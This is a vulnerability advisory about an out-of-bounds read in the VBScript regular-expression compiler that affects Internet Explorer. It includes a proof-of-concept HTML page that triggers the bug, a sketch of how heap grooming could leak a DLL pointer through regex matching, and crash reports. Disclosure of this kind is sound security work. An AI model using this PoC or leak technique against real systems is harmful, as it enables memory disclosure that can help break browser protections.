This is a friendly warning that your web-browser does not currently protecting your privacy and/or security as well as you might want. Click on this message to see more information about the issue(s) that were detected.

VBScript Reg­Exp­Comp::Pnode­Parse out-of-bounds read

(The fix and CVE number for this bug are not known)

Synopsis

A specially crafted script can cause the VBScript engine to read data beyond a memory block for use as a regular expression. An attacker that is able to run such a script in any application that embeds the VBScript engine may be able to disclose information stored after this memory block. This includes all versions of Microsoft Internet Explorer.

Known affected versions, attack vectors and mitigations

Repro.html <!DOCTYPE html> <html> <head> <meta http-equiv="x-ua-compatible" content="IE=10"> <script language="VBScript"> Dim o­Reg­Exp Set o­Reg­Exp = New Reg­Exp Sub Reg­Exp­Set­Pattern(s­Pattern) o­Reg­Exp.Pattern = s­Pattern End Sub Function Reg­Exp­Execute(s­Data) Reg­Exp­Execute = o­Reg­Exp.Execute(s­Data) End Function </script> <script language="Javascript"> // This Po­C attempts to exploit a memory disclosure bug in VBScript.dll // See http://blog.skylined.nl/20161108001.html for details. Reg­Exp­Set­Pattern("\u0504\u0706\u0908\u0B0A\u0D0C\u0F0E\u1110\u1312\u1514\u1716\u1918\u1B1A\\"); var o­Object = Reg­Exp­Execute("23456789ABCD\0"); // This work by Sky­Lined is licensed under a Creative Commons // Attribution-Non-Commercial 4.0 International License. </script> </head> </html>

Description

When a regular expression is used to find matches in a string, it is first "compiled". During compilation, when a '\' escape character is encountered, the Reg­Exp­Comp::Pnode­Parse function reads the next character to determine the type of escape sequence. However, if the last character in a regular expression is a '\' character, the code will read and use the terminating '\0' character as the second character in the escape sequence. This causes the code to ignore the end of the string and continue to compile whatever data is found beyond it as if it was part of the regular expression.

Exploit

The regular expressions string is stored in a BSTR, which means that the heap block in which it is stored may be larger than the regular expression. This means that if the heap block was used to store something else, then freed and reused for the regular expression, it may contain interesting information immediately following the regular expression. It also means that Heap Feng-Shui can be used to control this as well as control the contents of the next heap block, which may also contain useful information.

This amount of control suggests that it may be possible to store this useful information compiled as if it was part of the regular expression. A number of functions can then be used to attempt to extract this information, such as matching to a string containing a sequence that contains all the possible values for the information: the resulting matches should reveal what information was compiled into the regular expression.

I did not implement such an attack, but here's one example of what it might look like:

Let's assume we can allocate 0x20 bytes of heap, of which the last four bytes contain a pointer into a dll and then free it.

0000 ?? ?? ?? ??  ?? ?? ?? ??  ?? ?? ?? ??  ?? ?? ?? ??  |  ????????
0010 ?? ?? ?? ??  ?? ?? ?? ??  ?? ?? ?? ??  <<pointer>>  |  ??????ab

(In the above, "a" represents the least significant half of the address as a Unicode character and "b" the most significant half.)

Let's also assume we can allocate a heap block immediately following it in which we can control the first four bytes and set them to "]\0", or [5D 00 00 00].

0000 ?? ?? ?? ??  ?? ?? ?? ??  ?? ?? ?? ??  ?? ?? ?? ??  |  ????????
0010 ?? ?? ?? ??  ?? ?? ?? ??  ?? ?? ?? ??  <<pointer>>  |  ??????ab
0020 5D 00 00 00  ?? ?? ?? ??  ?? ?? ?? ??  ?? ?? ?? ??  |  ].??????

Finally, let's assume we can reallocate the freed heap block to store a regular expression "468ACE02|[\".

0000 18 00 00 00  34 00 36 00  38 00 3A 00  3C 00 3E 00  |  ..468ACE
0010 30 00 32 00  7C 00 5B 00  5C 00 00 00  <<pointer>>  |  02|[\.ab
0020 5D 00 00 00  ?? ?? ?? ??  ?? ?? ?? ??  ?? ?? ?? ??  |  ].??????

When using the regular expression, it will effectively be compiled into "468ACE02|[\0ab]". Using this regular expression to find matches in a string that contains all valid Unicode characters should yield two matches: "a" and "b", in any order. You could then do the entire thing over and construct compiled regular expression that is effectively "468ACE02|(\0ab)" and matching this against the string "\0ab\0ba" to find out in which order "a" and "b" should be used to determine the value of the address.

Time-line

Bug­Id report: vbscript.dll!Reg­Exp­Comp::Pnode­Parse Arbitrary AVR(EEDBC711) This report was generated using a predecessor of Bug­Id, a Python script created to detect, analyze and id application bugs. Don't waste time manually analyzing issues and writing reports but try Bug­Id out yourself today! You'll get even better reports than this one with the current version.
id:             vbscript.dll!Reg­Exp­Comp::Pnode­Parse Arbitrary AVR(EEDBC711)
description:    Security: Attempt to read from unallocated arbitrary memory (@0x0A3B3000) in vbscript.dll!Reg­Exp­Comp::Pnode­Parse
note:           Based on this information, this is expected to be a security issue!
Bug­Id report: vbscript.dll!Reg­Exp­Comp::Pnode­Parse Arbitrary~000 AVR(8CA4C6B8) This report was generated using a predecessor of Bug­Id, a Python script created to detect, analyze and id application bugs. Don't waste time manually analyzing issues and writing reports but try Bug­Id out yourself today! You'll get even better reports than this one with the current version.
id:             vbscript.dll!Reg­Exp­Comp::Pnode­Parse Arbitrary~000 AVR(8CA4C6B8)
description:    Security: Attempt to read from unallocated arbitrary memory (@0x0C19B000) in vbscript.dll!Reg­Exp­Comp::Pnode­Parse
note:           Based on this information, this is expected to be a security issue!
Bug­Id report: vbscript.dll!Reg­Exp­Comp::Pnode­Parse Arbitrary~000 AVR(0D0F5A8B) This report was generated using a predecessor of Bug­Id, a Python script created to detect, analyze and id application bugs. Don't waste time manually analyzing issues and writing reports but try Bug­Id out yourself today! You'll get even better reports than this one with the current version.
id:             vbscript.dll!Reg­Exp­Comp::Pnode­Parse Arbitrary~000 AVR(0D0F5A8B)
description:    Security: Attempt to read from unallocated arbitrary memory (@0x0D999000) in vbscript.dll!Reg­Exp­Comp::Pnode­Parse
note:           Based on this information, this is expected to be a security issue!
Bug­Id report: vbscript.dll!Reg­Exp­Comp::Pnode­Parse Arbitrary AVR(B6811A1F) This report was generated using a predecessor of Bug­Id, a Python script created to detect, analyze and id application bugs. Don't waste time manually analyzing issues and writing reports but try Bug­Id out yourself today! You'll get even better reports than this one with the current version.
id:             vbscript.dll!Reg­Exp­Comp::Pnode­Parse Arbitrary AVR(B6811A1F)
description:    Security: Attempt to read from unallocated arbitrary memory (@0x08CC1000) in vbscript.dll!Reg­Exp­Comp::Pnode­Parse
note:           Based on this information, this is expected to be a security issue!
© Copyright 2016 by Sky­Lined.
Creative Commons License This work is licensed under a Creative Commons Attribution-Non‑Commercial 4.0 International License.

Last updated on 2016-11-21.
If you find this web-site useful and would like to make a donation, you can send bitcoin to 183yyxa9s1s1f7JBp­PHPmz­Q346y91Rx5DX.